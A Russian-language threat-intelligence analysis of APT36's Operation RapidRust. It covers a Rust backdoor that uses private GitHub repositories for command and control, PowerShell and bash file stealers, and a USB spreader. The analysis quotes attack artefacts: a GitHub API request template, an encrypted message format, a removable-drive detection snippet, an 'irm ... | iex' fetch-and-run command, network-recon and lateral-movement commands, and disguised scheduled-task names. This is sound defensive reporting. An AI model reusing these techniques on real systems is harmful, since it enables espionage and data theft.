Командный сервер этой операции – приватный репозиторий на GitHub. Оператор кладёт зашифрованную команду в файл command.txt и делает коммит; бэкдор на заражённой машине забирает её через REST API, исполняет и коммитит ответ в results.txt. Со стороны сети это разговор рабочей станции с api.github.com – ровно то, что происходит на каждой второй машине, где стоит хоть какая-то среда разработки. Блокировать нечего, репутация адреса не работает, TLS упирается в настоящий сертификат GitHub.
Трафик поверх этого канала защищён AES-256-GCM. Вот только ключ шифрования выведён из того же токена доступа GitHub, который зашит открытым текстом в теле бэкдора. Тот, у кого на руках образец, вместе с ключом получает и сам репозиторий – читает всю переписку и пишет в неё от имени оператора. Шифрование, ключ от которого лежит в замке.
Так работает RUSTYSHADE – новый бэкдор на Rust, который Zscaler ThreatLabz в сентябре 2026 года привязала к пакистанской группе APT36 (она же Transparent Tribe и Earth Karkaddan) в кампании Operation RapidRust. Мишени прежние: государственные и оборонные структуры Индии и Афганистана. Новое – язык, шифр и целый выводок инструментов вокруг: два файловых вора под Windows и Linux и отдельный распространитель на флешки, собранный, чтобы дотянуться до сетей без интернета.
APT36 не изобретала канал через GitHub в этой кампании. Ещё в сентябре 2025 года ThreatLabz разбирала операцию Gopher Strike и её бэкдор GITSHELLPAD – лёгкий имплант на Go, который так же держал управление в приватном репозитории: регистрировал жертву каталогом вида SYSTEM-<имя>, клал туда info.txt, каждые 15 секунд опрашивал command.txt и писал вывод в result.txt. Тогда лаборатория не решилась назвать автора прямо и оценивала связь с APT36 лишь со средней уверенностью – подгруппа или параллельная пакистанская команда. Приём «GitHub как C2» проходил в отчёте как ранее не встречавшийся у APT36.
У GITSHELLPAD синхронизация была голой и нешифрованной. Бэкдор опрашивал command.txt каждые 15 секунд; не мог достучаться до GitHub – повторял через 8; видел пустой файл – ждал 7 и пробовал снова. Вычитанную команду он Base64-декодировал, исполнял через cmd /c, писал статус и вывод в result.txt и PUT-запросом заливал обратно, а command.txt удалял после успешного исполнения, чтобы не отработать её дважды. Командный набор был спартанский: cd, cd .., run (фоново, без захвата вывода), upload, download и дефолт-кейс на cmd /c. За одну кампанию ThreatLabz насчитала больше 200 таких команд в четырёх приватных репозиториях.
Год спустя тот же рисунок вернулся на Rust, и на этот раз атрибуция прямая – APT36. RUSTYSHADE наследует скелет GITSHELLPAD – файловый деддроп, поллинг, разбиение на команды – но добавляет три вещи: шифрование канала (у Go-предка его не было вовсе), расширенный набор команд со снятием экрана и вебкамеры и смену рантайма. Go у пакистанских операторов был рабочей лошадью годами – DeskRAT, GoStealer, сам GITSHELLPAD. Переход на Rust – это не мода: Rust-бинарь тяжелее реверсить, у него агрессивнее инлайнинг и мономорфизация, строки и структуры размазаны по бинарю иначе, чем в узнаваемых Go-рантаймах с их pclntab и говорящими именами пакетов. Оператор заплатил за это размером и временем сборки, но забрал у аналитика привычную карту местности. Ход в сторону фронтира: там, где вся индустрия детекта заточена под сигнатуры Go-имплантов группы, свежий Rust-двойник какое-то время едет мимо.
Сам RUSTYSHADE операторы разворачивали руками, стягивая архив с того же облака Backblaze, откуда раздавалась вся оснастка кампании, и разворачивая из него DriverInstaller.exe. То есть бэкдор на новую машину не прилетал сам – его ставили уже после первичного захвата, в ходе постэксплуатации, что делает RUSTYSHADE не входным трояном, а инструментом закрепления и слежки на уже вскрытом хосте. Как именно вскрывали первую машину, отчёт не восстанавливает – весь разбор ThreatLabz начинается с уже присутствующего доступа, и эту дыру в цепочке стоит держать в уме: всё, что ниже, – про закрепление и растекание, а не про вход.
RUSTYSHADE ходит в репозиторий через штатный Contents API, подставляя токен в заголовок авторизации:
GET https://api.github.com/repos/[owner]/[repo]/contents/[path]?ref=[branch]&t=[timestamp]
Authorization: token [PAT]
Accept: application/vnd.github.v3+json
Персональный токен доступа (PAT) лежит в бинаре открытым текстом – иначе бэкдор не смог бы аутентифицироваться сам, без человека за спиной. И вот здесь оператор принял решение, которое сводит на нет весь слой шифрования. Каждое сообщение между имплантом и репозиторием шифруется AES-256-GCM, но 32-байтный ключ выводится как SHA256 от этого самого PAT. Нонс в 12 байт берётся из BCryptGenRandom, дальше собирается конверт nonce ‖ ciphertext ‖ tag, кодируется в Base64 и получает узнаваемый префикс:
HCENC1:[base64(nonce[12] || ciphertext || tag[16])]
Логика оператора понятна: не тащить в бинарь второй секрет, переиспользовать то, что и так уже там. Альтернатива стоила бы одной строки – зашить независимый ключ, никак не связанный с токеном, или вообще уйти в асимметрику и держать в импланте только публичную половину. Цена выбора считается по тому, против кого вообще работает это шифрование. Против пассивного слушателя в сети без образца – работает: голый перехват даёт HCENC1: и мусор. Против единственного противника, который имеет значение, – аналитика с сэмплом в руках – не работает вовсе: у него есть PAT, значит, есть ключ, значит, читается вся история results.txt и download.bin, и вдобавок токен всё ещё валиден – можно войти в репозиторий и посмотреть на кампанию глазами оператора. AES-256-GCM здесь охраняет дверь, ключ от которой приклеен к ней скотчем.
Никакого бинарного протокола у RUSTYSHADE нет – есть каталог файлов с говорящими именами, и каждый несёт свою роль в диалоге. command.txt – входящая зашифрованная команда. results.txt – зашифрованный вывод. info.txt – слепок разведки о машине, который имплант кладёт при регистрации. heartbeat.txt – маячок с epoch-меткой, по которому оператор видит, что жертва жива и на связи. И три файла под добычу потяжелее, каждый под свой тип: screenshot.png под снимок экрана, webcam_photo.jpg под кадр с камеры, download.bin под украденный файл. Синхронизация примитивна и надёжна: оператор коммитит команду, имплант её вычитывает, исполняет и заливает ответ туда же. Команды идут в формате [COMMAND][:{arg}], где имя от аргумента отделяет двоеточие или пробел.
Такой файловый деддроп в чужом облаке – ровно тот приём, что мы уже разбирали у Mustang Panda, превратившей Zoho WorkDrive в почтовый ящик для шпионажа: команды и ответы ходят через inbox/outbox в легитимном сервисе, а креды зашиты в бинарь. APT36 берёт ту же идею, но кладёт её на инфраструктуру, к которой корпоративный прокси относится ещё доверчивее, – на GitHub, куда машина разработчика стучится и без всякой малвари.
Набор команд RUSTYSHADE читается как техзадание на слежку. ss_up снимает экран нативными вызовами GDI32, кодирует в PNG и заливает как screenshot.png. CAP-photo дёргает вебкамеру через WIA.CommonDialog, сохраняет JPEG и отправляет как webcam_photo.jpg – оператор буквально смотрит, кто сидит за машиной. run запускает процесс в фоне через CreateProcessW, отвязанным, без захвата вывода – для того, что должно жить своей жизнью. HC_LIST перечисляет текущий каталог, HC_DRIVES (он же HC_CD:this pc) – все буквы дисков, HC_CD меняет рабочий каталог. HC_DOWNLOAD – это кража конкретного файла: имплант читает путь, жмёт его через Compress-Archive, шифрует и отдаёт как download.bin. Всё, что не распознано как команда, уходит в cmd.exe как обычная строка – классический дефолт-кейс интерактивной оболочки.
Массовую кражу файлов оператор поручает не бэкдору, а отдельному инструменту – PSNATCH, PowerShell-скрипту, который подтягивается со стороны, из GitHub gist. Он рекурсивно обходит Desktop, Downloads, Documents, оба OneDrive (личный и корпоративный) и диски с D: по H:, выгребая почти всё осмысленное: офисные документы, картинки, архивы, медиа, исполняемые файлы, скрипты, базы данных. Фильтр по времени – файлы, изменённые за последние 120 дней; лимиты – 1 ГБ на файл и 5 ГБ за один прогон, чтобы не подавиться на первом же большом дампе.
PSNATCH аутентифицируется в GitHub одним зашитым PAT и заводит под каждую заражённую машину отдельный приватный репозиторий, названный её именем – и в этом «одном токене на всех» прячется самая дорогая опсек-ошибка кампании. Выгрузка идёт через Contents API с кастомным User-Agent SmartUploader, файлы раскладываются по папкам-датам yyyy-MM-dd/[исходный каталог]/..., а локально скрипт ведёт учётную книгу:
%APPDATA%\SmartUploader\uploaded_files.json
В ней сопоставлены пути и метки последнего изменения – так следующий запуск заливает только новое, инкрементально. Инженерно это удобно и ровно поэтому хрупко. Один токен на весь парк жертв означает, что аналитик, восстановивший PAT из единственного образца PSNATCH, аутентифицируется как оператор и перечисляет все репозитории кампании разом – вся украденная у всех жертв добыча за одной строкой. Альтернатива – по токену на жертву, выдаваемому брокером, – стоила бы инфраструктуры-посредника, зато не складывала бы всю операцию в одну корзину. И вторая грань той же хрупкости: детект злоупотреблений на стороне GitHub, погасив один этот токен, обрывает связь со всем парком одновременно. Экономия на секрете обернулась единой точкой отказа.
Там, где машина оказывается не на Windows, у APT36 наготове BASHNATCH – тот же PSNATCH, переписанный на bash. Те же каталоги, те же расширения, та же логика инкрементальной выгрузки в приватный репозиторий; отличается лишь адрес учётной книги – ~/.local/share/SmartUploader/uploaded_files.json. Мелочь, но говорящая: группа не портирует один инструмент под две ОС наспех, а держит параллельные реализации, чтобы кампания не спотыкалась о тип хоста. Против смешанного госсектора, где рядом стоят и рабочие станции, и Linux-серверы, это правильная ставка.
Самый любопытный инструмент кампании – RUSTYMOVE, лёгкий распространитель на Rust, у которого одна-единственная функция: дотянуться туда, куда не дотягивается GitHub. Оператор ставит его тем же ручным чином, что и бэкдор, – тянет Automata-20.zip с Backblaze, распаковывает tar -xvf, запускает Automata-20.exe и тут же прописывает в планировщик задачу на автозапуск при входе. После этого RUSTYMOVE живёт сам. Он бесконечно, с паузой в две секунды, опрашивает систему на предмет подключённых съёмных носителей и копирует на корень каждого два заранее подготовленных файла:
C:\Users\Public\Documents\DriverInstaller.zip (архив с RUSTYSHADE)
C:\Users\Public\Documents\DocScanner-11-Aug-2026-5-37pm.pdf.LNK (запуск RUSTYSHADE)
Первый – архив с бэкдором, второй – ярлык-приманка под скан документа, чей клик, по оценке ThreatLabz, и распаковывает-запускает RUSTYSHADE на новой машине (точную цель LNK лаборатория не подтвердила, но оценивает так с высокой уверенностью). Смысл прозрачен: воткнутая в заражённый хост флешка уносит бэкдор в сегмент, у которого нет выхода в интернет, – в ту самую изолированную сеть, ради которой всё и затевалось.
А вот исполнение RUSTYMOVE выдаёт раннюю стадию разработки, и Zscaler это прямо отмечает. Обнаружение носителей отдано встроенному PowerShell, который через CreateProcessW перебирает тома и оставляет только съёмные:
$external = ($disk.BusType -in @('USB','1394','SD','MMC')) -or `
($disk.MediaType -in @('Removable Media','External hard disk media'))
Заражённые тома трекаются HashMap по UniqueId, копирование идёт через CopyFileExW – аккуратно. Но дальше инструмент пишет отчёт о собственной работе прямо на диск:
Copied: [путь]
Success [N] user(s).
No new files copied (already on drive, missing source, or copy failed).
Вот это – хромая нога операции. log.txt с записями «Copied:» и «Success N user(s)» – подарок форензике: размеченный журнал распространения, по которому реконструируется, что и куда уехало, лежит на самом носителе. Оператору он не нужен вовсе; убрать его – минус одна строка кода и минус целая улика. Плюс жёстко зашитые пути к исходным файлам: инструмент не ищет свою нагрузку, а ждёт её строго по C:\Users\Public\Documents\ – достаточно одной перестановки в цепочке, и распространитель работает вхолостую. Ядро на Rust с аккуратными Win32-вызовами – и обвязка, оставляющая за собой открытый журнал: дорогая сборка на дешёвой периферии.
Постэксплуатацию ThreatLabz наблюдала с 20 августа по 1 сентября 2026 года – 147 команд, и в их распределении по времени видно живого человека за клавиатурой. Активность жёстко укладывается в окно с 04:00 до 11:00 UTC с двумя пиками, в 06:00 и 09:00, и полностью пропадает по выходным – ни одной команды за две субботы и два воскресенья периода.
Отчёт останавливается на констатации будничного окна. Мы протянем чуть дальше, но аккуратно: 04:00–11:00 UTC – это 09:00–16:00 по Исламабаду, то есть окно согласуется с обычным рабочим днём в пакистанском поясе. Доказательством пакистанца это не служит – под тот же график лёг бы ночной оператор восточнее или кто угодно, кто расписание сознательно сдвинул; часы работы вообще из самых дешёвых улик для подделки. Ценность в другом: пояс не основывает атрибуцию, а сходится с ней – тулинг, виктимология и родословная GITSHELLPAD уже указывают на APT36, и время ложится в ту же сторону, а не спорит с ней.
Но самый крепкий вывод из этого графика – не география, а тип конторы. Активность строго с девяти до четырёх, пять дней в неделю, ноль по выходным – это не почерк параноика-одиночки, который рандомизировал бы выходы, чтобы не рисовать собой ровный прямоугольник, а табель зарплатной команды, работающей по служебному распорядку. И этот же табель – дорогая самоподставка: защитник, раскладывающий C2-трафик по часам, видит идеально ровный корпоративный график там, где у реальной жертвы активность размазана по суткам. Дисциплина, которую видно, – та же история, что у APT28 с их бесплатным вебхуком, где вся операция читается по темпу: государственная команда экономит на инфраструктуре и платит за это наблюдаемым ритмом.
Внутри рабочего окна порядок действий оператора стандартен и оттого узнаваем. Разведка машины – whoami с ключами /groups и /priv, hostname, tasklist, ipconfig /all. Разведка сети – arp -a, nbtstat, net view, net share, перебор живых хостов пингом по локальной подсети. Геолокация снимается сразу с трёх публичных API – ip-api.com, ipinfo.io, ipapi.co. Перед боковым движением оператор перепроверяет цели точечно, простукивая Test-NetConnection порты 445 (SMB) и 135 (RPC), а затем пробует IPC$ удалённого хоста – сперва нулевой сессией, потом уже с подставленной учёткой администратора.
Закрепление держится на планировщике задач, и здесь APT36 прячется за именами, которым администратор не задаёт вопросов. Основная задача запускает распространитель при входе пользователя:
StandAloneOneDriveUpdater-2626 → Automata-20.exe (RUSTYMOVE), триггер AtLogOn
Вторая мимикрирует под апдейтер Edge – MicrosoftEdgeUpdateTaskUserS-1-5-24-... – и запускает через conhost.exe --headless закодированную команду PowerShell, которая тянет и исполняет следующую стадию прямо с домена группы (irm .../pv | iex). Расчёт на то, что в списке из сотни легитимных задач Microsoft две поддельные не бросятся в глаза.
Инфраструктура кампании собрана из чужого доверия. Нагрузки раздаются с легитимного облака Backblaze B2, управление живёт в приватных репозиториях GitHub, а промежуточные PowerShell-скрипты стоят на доменах, зарегистрированных через NameCheap под индийские СМИ: theprints[.]org (двойник theprint.in, зарегистрирован 11 мая 2026), indiatodays[.]org (двойник indiatoday.in, 17 августа 2026) и officialinfo[.]org. Пути на них подобраны под тему – /adrive, /drivefolder, /msheets, /gsheets: жертва, пришедшая за новостями, ничего не подозревает.
За собой оператор прибирается вручную и по списку. В логах постэксплуатации видно удаление отработанной оснастки – del по DriverInstaller.exe, HealthCheck.exe, sheets_agent.dll, t_tracker.json, набору промежуточных архивов – и характерная перестановка ren om.zip DriverInstaller.zip, подтягивающая свежий архив под ожидаемым именем. Уборка тщательная, но выборочная: она снимает следы с диска, а не из GitHub, где вся история коммитов кампании остаётся ровно там, где её оставили, – под токеном, который приезжает в каждом образце.
Весь калибр Operation RapidRust – в одной ставке: не строить свою инфраструктуру, а раствориться в чужой, которой доверяют по умолчанию. GitHub здесь не хранилище и не витрина, а полноценный командный сервер, деддроп для краденого и журнал операции в одном флаконе – по репозиторию на жертву, с добавкой USB-моста в сети, куда этот сервер не дотягивается. Приём с чужим облаком APT36 держит уверенно, и переход Go→Rust показывает группу, которая осознанно двигает свой тулинг за передний край детекта.
Но ровно та же экономия, что делает операцию незаметной, оставляет ей одну хрупкую жилу. Токен, из которого выведен ключ шифрования, лежит открытым в каждом бинаре и открывает разом и переписку, и репозитории всех жертв; распространитель ведёт улику о себе прямо на носителе; а дисциплинированный оператор рисует в C2-логах ровный рабочий день с девяти до четырёх, по которому его контору видно как на ладони. Группа отказалась от собственной инфраструктуры, чтобы её было нечего блокировать, – и заперла всю операцию за одной строкой, которую сама же раздаёт вместе с бэкдором.
Разбор кампании и атрибуция APT36 – Zscaler ThreatLabz; предыстория с GITSHELLPAD – их же отчёты 2025 года.
Автор: hacker@shifry.local